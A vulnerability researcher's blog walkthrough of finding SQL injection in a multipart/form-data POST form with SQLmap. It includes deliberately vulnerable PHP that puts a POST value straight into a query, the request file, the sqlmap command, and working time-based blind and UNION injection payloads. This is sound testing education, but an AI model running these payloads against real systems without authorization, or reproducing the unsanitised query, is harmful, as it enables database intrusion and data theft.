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Sql Injection using SQLmap with multipart/form-data Encoding

CC Overlapping Puzzles

I’ve spent a fair amount of my time examining code for vulnerabilities, I recently began to focus specifically on SQL injection. While investigating this specific type of vulnerability in web applications, I ran across a few examples where the injection point was in a POST request but it wasn’t your straightforward content-type application/x-www-form-urlencoded form.  The injection point was being passed as an array via POST and  processed inside of a foreach loop:

$person_name= $_POST['person']; 
foreach($person_name as $person => $value) { 
 $query = "select * from v_entry where vdbid = $value"; 
 $result = mysql_query($query); 
 $num = mysql_numrows($result); 
 $x=0; 
while ($num > $x) {   
 echo "<br>";    
 echo mysql_result($result,$x,1);    
 $x++;
 } 
}


The HTML form specified the encoding type as  ‘multipart/form-data’

A packet capture with tcpdump for the original form post and then my first attempt with SQLmap will easily display the differences below:

 # tcpdump -Xvvv port 80

POST: /post_sqli_research/form.php HTTP/1.1 
 Host: example.com
 Connection: keep-alive
 Content-Length: 591
 Cache-Control: max-age=0
 Origin: http://example.com
 Upgrade-Insecure-Requests: 1
 User-Agent: Mozilla...
 Referer: http://example.com/post_sqli_research/form.php
 Accept-Encoding: gzip, deflate
 Accept-Language: en-US,en;q=0.8

 ------WebKitFormBoundaryi8tNoAS0tr0R3KR2
 Content-Disposition: form-data; name="Person[Person_name]"
 1
 ------WebKitFormBoundaryi8tNoAS0tr0R3KR2
 Content-Disposition: form-data; name="Person[Person_contact]"
 1
 ------WebKitFormBoundaryi8tNoAS0tr0R3KR2
 Content-Disposition: form-data; name="Person[Person_email]"
 1
 ------WebKitFormBoundaryi8tNoAS0tr0R3KR2
 Content-Disposition: form-data; name="Person[Person_description]"
 1
 ------WebKitFormBoundaryi8tNoAS0tr0R3KR2
 Content-Disposition: form-data; name="Person_create"
 
 Add Person

And the tcpdump output with a generic attempt using SQLmap:

 
 POST /post_sqli_research/form.php HTTP/1.1
 Content-Length: 135
 Accept-Language: en-us,en;q=0.5
 Accept-Encoding: gzip,deflate
 Host: example.com
 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
 User-Agent: sqlmap/1.0.8.2#dev (http://sqlmap.org)
 Accept-Charset: ISO-8859-15,utf-8;q=0.7,*;q=0.7
 Connection: close
 Pragma: no-cache
 Cache-Control: no-cache,no-store
 Content-Type: application/x-www-form-urlencoded; charset=utf-8
 
 Person%5BPerson_name%5D=%20UNION%20ALL%20SELECT%20NULL%23&Person%5BPerson_contact%5D=1&Person%5BPerson_email%5D=1&Person%5Bdescription%5D=1%22[!http]

We see the Content-Type encoding isn’t what the form is expecting. I’ll clean up and modify the TCP-dump output to add a ‘*’ where we think the injection point is.  I’ll then save it in a file called request.txt and then supply that as an argument to -r REQUESTFILE in SQL map.  It should look similar to the output below:

$ cat request.txt
 
 POST /post_sqli_research/test.php HTTP/1.1
 Host: example.com
 Connection: keep-alive
 Content-Length: 591
 Cache-Control: max-age=0
 Origin: http://example.com
 Upgrade-Insecure-Requests: 1
 User-Agent: Mozilla...
 Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryi8tNoAS0tr0R3KR2
 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
 Referer: http://example.com/post_sqli_research/form.php
 Accept-Encoding: gzip, deflate
 Accept-Language: en-US,en;q=0.8
 ------WebKitFormBoundaryi8tNoAS0tr0R3KR2
 Content-Disposition: form-data; name="Person[Person_name]"
 1*
 ------WebKitFormBoundaryi8tNoAS0tr0R3KR2
 Content-Disposition: form-data; name="Person[Person_contact]"
 1
 ------WebKitFormBoundaryi8tNoAS0tr0R3KR2
 Content-Disposition: form-data; name="Person[Person_email]"
 1
 ------WebKitFormBoundaryi8tNoAS0tr0R3KR2
 Content-Disposition: form-data; name="Person[Person_description]"
 1
 ------WebKitFormBoundaryi8tNoAS0tr0R3KR2
 Content-Disposition: form-data; name="Person_create"
 
 Add Person
 ------WebKitFormBoundaryi8tNoAS0tr0R3KR2--

I’ll specify the parameter on the SQLmap command line where we placed a ‘*’ in the input to mark our suspected injection point with -p TESTPARAMETER.  I mentioned above that -r tells SQLmap to use the format specified in that file to generate the request.

 $ sqlmap  -r request.txt -p "Person[Person_name]" --level 2 --risk 2
 .
 .
 .
 
 [11:40:13] [INFO] (custom) POST parameter '#1*' is 'Generic UNION query (NULL) - 1 to 20 columns' injectable
 (custom) POST parameter '#1*' is vulnerable. Do you want to keep testing the others (if any)? [y/N] y
 sqlmap identified the following injection point(s) with a total of 373 HTTP(s) requests:
 
 ---
 
 Parameter: #1* ((custom) POST)
 
 Type: AND/OR time-based blind
 Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
 Payload: ------WebKitFormBoundaryi8tNoAS0tr0R3KR2
 Content-Disposition: form-data; name="Person[Person_name]"
 1 AND (SELECT * FROM (SELECT(SLEEP(5)))GrGB)
 ------WebKitFormBoundaryi8tNoAS0tr0R3KR2
 Content-Disposition: form-data; name="Person[Person_contact]"
 1
 ------WebKitFormBoundaryi8tNoAS0tr0R3KR2
 Content-Disposition: form-data; name="Person[Person_email]"
 1
 ------WebKitFormBoundaryi8tNoAS0tr0R3KR2
 Content-Disposition: form-data; name="Person[Person_description]"
 1
 ------WebKitFormBoundaryi8tNoAS0tr0R3KR2
 Content-Disposition: form-data; name="Person_create"
 Add Person
 ------WebKitFormBoundaryi8tNoAS0tr0R3KR2--
     Type: UNION query
 
     Title: Generic UNION query (NULL) - 19 columns
 
     Payload: ------WebKitFormBoundaryi8tNoAS0tr0R3KR2
 Content-Disposition: form-data; name="Person[Person_name]"
 1 UNION ALL SELECT NULL,CONCAT(0x7170787671,0x534c744f4a7043446e4c6c55596b634b61624c6d55686e546272756b736a4e6973544979686c746c,0x7162706a71),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL-- kVed
 ------WebKitFormBoundaryi8tNoAS0tr0R3KR2
 Content-Disposition: form-data; name="Person[Person_contact]"
 1
 ------WebKitFormBoundaryi8tNoAS0tr0R3KR2
 Content-Disposition: form-data; name="Person[Person_email]"
 1
 ------WebKitFormBoundaryi8tNoAS0tr0R3KR2
 Content-Disposition: form-data; name="Person[Person_description]"
 1
 ------WebKitFormBoundaryi8tNoAS0tr0R3KR2
 
 Content-Disposition: form-data; name="Person_create"
 
 Add Person
 ------WebKitFormBoundaryi8tNoAS0tr0R3KR2-----
 [11:40:15] [INFO] the back-end DBMS is MySQL
 web server operating system: Linux Debian 8.0 (jessie)
 web application technology: Apache 2.4.10 back-end DBMS: MySQL >= 5.0.12
 
 [11:40:15] [INFO] fetched data logged to text files under '/home/larry/.sqlmap/output/example.com'
 [*] shutting down at 11:40:15

Above we see in the SQLmap output that it confirms our injection point is exploitable.

Conclusion

As a vulnerability researcher, I run across all sorts of interesting code and ways to exploit it.  It’s always a learning experience, this is one of the reasons why I try to spend some time each week hunting for bugs.  I enjoy the discovery and exploitation while learning new things along the way.

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